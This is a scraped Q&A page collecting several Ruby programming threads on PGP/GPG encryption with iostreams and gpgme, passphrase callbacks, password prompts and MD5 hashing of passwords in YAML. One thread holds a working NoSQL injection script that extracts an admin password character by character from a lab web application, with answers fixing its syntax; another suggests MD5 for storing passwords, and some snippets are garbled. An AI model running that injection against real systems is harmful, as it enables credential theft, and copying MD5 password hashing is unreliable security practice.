Decrypt *.csv.gpg file using public / private key - ruby

I have a requirement to decrypt a .csv.pgp file that should be decrypted by using the public / private key, shared in public.
I tried to find some resources
https://github.com/rocketjob/rocketjob/wiki/PGP-Encryption-with-Ruby
Ruby: file encryption/decryption with private/public keys
But did not work out.
Thanks in advance!

Assuming you have a Gemfile like:
source 'https://rubygems.org'
gem 'iostreams', '~> 0.14.0'
The following script will prompt you for the receiver's key ID and passphrase
require 'rubygems'
require 'bundler/setup'
require 'io/console'
require 'iostreams'
csv_filename = './data.csv'
encrypted_filename = './secure.pgp'
csv_data = File.read(csv_filename)
puts "Generating sender's key..."
signer_passphrase = 'somethingreallysecure'
sender_key_id = IOStreams::Pgp.generate_key(
name: 'Sender',
email: 'sender#example.org',
passphrase: signer_passphrase
)
puts 'Enter receiver key ID:'
receiver_key_id = gets.strip
puts "Downloading receiver's key..."
puts `gpg --keyserver keyserver.ubuntu.com --recv #{receiver_key_id}`
puts "Encrypting #{csv_filename} to #{encrypted_filename}"
sender_key = IOStreams::Pgp.list_keys(key_id: sender_key_id).first
receiver_key = IOStreams::Pgp.list_keys(key_id: receiver_key_id).first
IOStreams::Pgp::Writer.open(
'secure.pgp',
recipient: receiver_key[:email],
signer: sender_key[:email],
signer_passphrase: signer_passphrase
) do |output|
output.puts(csv_data)
end
puts "Decrypting #{encrypted_filename}"
puts 'Enter receiver passphrase:'
receiver_passphrase = STDIN.noecho(&:gets).chomp
decrypted_data = ''
IOStreams::Pgp::Reader.open('secure.pgp', passphrase: receiver_passphrase) do |stream|
decrypted_data += stream.read(10) until stream.eof?
end
puts ''
puts 'Source data'
puts '--------------'
puts csv_data
puts '--------------'
puts ''
puts 'Decrypted data'
puts '--------------'
puts decrypted_data
puts '--------------'
The bit you may have been missing is calling out to download ("receive") the key from the public server for the recipient.
Thanks to the RocketJob docs for some of the legwork here.

Related

unexpected keyword_end MongoDB Injection

im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.

Digesting value in YAML file into MD5 hash

I have a YAML file containing usernames and passwords.
Overview of YAML:
users:
test:
password: test
test2:
password: test2
I want to encrypt the password value into an MD5 hash using Digest::MD5 for example:
user:
Lost Bam:
password: testtesttest #<=I want to overwrite this password with a MD5 hash
In Digest is there a way to encrypt a hash value? If so how do I implement this into a YAML file?
md5.rb Source:
require 'yaml'
require 'digest'
private
def load_file
File.exist?('info.yml') ? YAML.load_file('info.yml') : {users: {}}
end
def read_file
File.read('info.yml')
end
def save_file( hash )
File.open('info.yml', 'w') { |f| f.write(hash.to_yaml)}
end
def add_user
hash = load_file
hash["users"][prompt('Enter username:')] =
{ "password" => prompt('Enter password:') }
puts "Encrypt information?"
information = gets.chomp
case input
when /yes/i
# hash = Digest::MD5.digest(["password"]'value')<-Doesn't work
#
#This is where I want to be able to encrypt the
#value of the password key that was entered by the user
#
# save_file( hash )
else
puts "Add another?"#Not completed yet
end
save_file( hash )
end
main.rb Source:
require_relative 'md5.rb'
def main
puts <<-END.gsub(/^\s*>/, '')
>
>To load information type "L" to quit system type "Q"
>
END
input = gets.chomp.upcase
case input
when "L"
add_user
when "Q"
exit_system
else
exit_lock
end
end
def exit_system
puts "Exiting..."
exit
end
def exit_lock
puts "Locked out, please contact system administrator"
exit
end
def restart
puts "Encrypt more?"
input = gets.chomp
if input =~ /yes/i
return true
else
exit_system
end
end
def prompt( message )
puts message
gets.chomp
end
main
You can use Digest::MD5:
require 'digest'
Digest::MD5.digest('value')
http://ruby-doc.org/stdlib-2.1.0/libdoc/digest/rdoc/Digest.html

Ruby script to prompt for password and have user enter password again for verification

I've written a ruby script that asks for a password and assigns it to a variable for user later on. I would like to be able to ask the user for the password again for verification.
Here's what I have now, I'm just not sure how to ask for the password again in order to verify.
#!/usr/bin/ruby
#
require 'rubygems'
require 'highline/import'
def getPassword(prompt)
loop do
word = ask("#{prompt}") { |x| x.echo = "*" }
if word.nil? or word.empty?
puts 'Password cannot be blank.'
else
return word
break
end
end
end
user_password = getPassword('Enter User Password')
This is what I have changed:
#!/usr/bin/ruby
#
require 'rubygems'
require 'highline/import'
def getPassword(prompt)
loop do
word = ask("#{prompt}") { |x| x.echo = "*" }
verify = ask("#{prompt} Again") { |z| z.echo = "*" }
if word != verify
puts "They do not match"
else
puts "They Match"
return word
break
end
end
end
user_password = getPassword('Enter User Password')

How can I store user defined data in a hash

Help, I am a noob, just need some advice on this bit of code. I have got most of my program working this part has me stuped i want to get a name and password. Then make the name the key and the password the value. Now it must be user defined.. Then I must be able to pull that hash info again. I thought that return would work... here is my code
def login_prompt
vault = {}
puts "WELCOME! please enter an existing username: "
username = gets.chomp
checkname = Noxread.new
comparename = checkname.read_file
comparename.keys.include?("#{username}")
if comparename == true
puts "please enter your password: "
password = gets.chomp
vault[username]= password
else puts "username already exists!! would you like to retry? (y/n)"
case answer
when /^y/
login_prompt
when /^n/
exit
end
end
end
so that should gather the info. and this is my code to merge that and an hash that i pulled from a file. in a NoxRead class
require_relative 'read'
require 'csv'
class Noxwrite
attr_accessor :name :password
def initialize
#name = name
#password = password
end
def upsum
x = Noxread.new
y = x.read_file
z = login_prompt
y.merge(z) {|name, password| name + ',' + password}
return y
end
def write_file
ehash = upsum
CSV.open("data.csv", "wb") do |csv|
csv << ehash
end
end
end
What is the problem with this code. Seems fine, apart from the fact that passwords should not be read like this in open text.
When you write something like
user_hash = login_prompt
user_hash will have the hash as desired
{"username"=>"password"}

Using passphrase callback in ruby gpgme

I am using ruby gpgme gem (1.0.8). My passphrase callback isn't called:
def passfunc(*args)
fd = args.last
io = IO.for_fd(fd, 'w')
io.puts "mypassphrase"
io.flush
end
opts = {
:passphrase_callback => method(:passfunc)
}
GPGME.decrypt(input,output, opts)
Does someone have working example of passphrase callback?
Sample of callback you can find in the following working example. It signs a file in detached mode, i.e., the signature file is separated from the original file. It uses the default keyring at ~/.gnupg or something like that. To use a different directory for your keyring, set the environment variable ENV["GNUPGHOME"]="" before call GPGME::sign().
#!/usr/bin/ruby
require 'rubygems'
require 'gpgme'
puts "Signing #{ARGV[0]}"
input = File.open(ARGV[0],'r')
PASSWD = "abc"
def passfunc(hook, uid_hint, passphrase_info, prev_was_bad, fd)
puts("Passphrase for #{uid_hint}: ")
io = IO.for_fd(fd, 'w')
io.write(PASSWD+"\n")
io.flush
end
output = File.open(ARGV[0]+'.asc','w')
sign = GPGME::sign(input, {
:passphrase_callback => method(:passfunc),
:mode => GPGME::SIG_MODE_DETACH
})
output.write(sign)
output.close
input.close
Here's another working example for you that doesn't use a detached signature. To test this, simply change 'user#host.name' to the identifier of your key and do this: GPG.decrypt(GPG.encrypt('some text', :armor => true))
require 'gpgme'
require 'highline/import'
module GPG
ENCRYPT_KEY = 'user#host.com'
#gpg = GPGME::Crypto.new
class << self
def decrypt(encrypted_data, options = {})
options = { :passphrase_callback => self.method(:passfunc) }.merge(options)
#gpg.decrypt(encrypted_data, options).read
end
def encrypt(data_to_encrypt, options = {})
options = { :passphrase_callback => self.method(:passfunc), :armor => true }.merge(options)
#gpg.encrypt(data_to_encrypt, options).read
end
private
def get_passphrase
ask("Enter passphrase for #{ENCRYPT_KEY}: ") { |q| q.echo = '*' }
end
def passfunc(hook, uid_hint, passphrase_info, prev_was_bad, fd)
begin
system('stty -echo')
io = IO.for_fd(fd, 'w')
io.puts(get_passphrase)
io.flush
ensure
(0 ... $_.length).each do |i| $_[i] = ?0 end if $_
system('stty echo')
end
$stderr.puts
end
end
end
Cheers!,
--
Carl
It is important to note that as of GnuPG 2.0 (and in 1.4 when the use-agent option is used) pinentry is used for passphrase collection. This means that the gpgme passphrase callback will not be invoked. This is described here and an example of usage can be found in the gpgme-tool example.

Resources